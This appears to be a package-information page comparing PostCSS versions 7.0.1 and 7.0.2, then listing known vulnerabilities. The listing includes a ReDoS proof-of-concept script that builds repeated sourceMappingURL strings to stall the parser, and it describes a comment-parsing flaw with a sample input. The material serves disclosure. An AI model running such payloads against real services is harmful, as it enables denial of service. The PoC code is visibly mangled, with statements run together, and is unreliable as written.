PostCSS is a powerful tool for transforming styles using JavaScript plugins, offering developers a flexible and efficient way to enhance their CSS workflow. Comparing versions 7.0.2 and 7.0.1, both share the same core functionality and dependencies, including Chalk for colorful console output, Source Map for debugging, and Supports Color for terminal color detection. They are both licensed under MIT and maintained by Andrey Sitnik.
The primary difference between these two versions lies in their release date and unpacked size. Version 7.0.2 was released on July 30, 2018, and has an unpacked size of 606775 bytes, while version 7.0.1 was released on July 20, 2018, with a slightly larger unpacked size of 607305 bytes. This minor size difference likely reflects small bug fixes or optimizations implemented in version 7.0.2.
For developers considering PostCSS, these versions offer a stable foundation for CSS transformation. The choice between 7.0.1 and 7.0.2 is unlikely to significantly impact functionality, but opting for the newer 7.0.2 version is generally advisable due to potential bug fixes and refinements. To leverage PostCSS, developers can explore its extensive plugin ecosystem for tasks like autoprefixing, future CSS syntax adoption, and code optimization, streamlining their front-end development process.
All the vulnerabilities related to the version 7.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.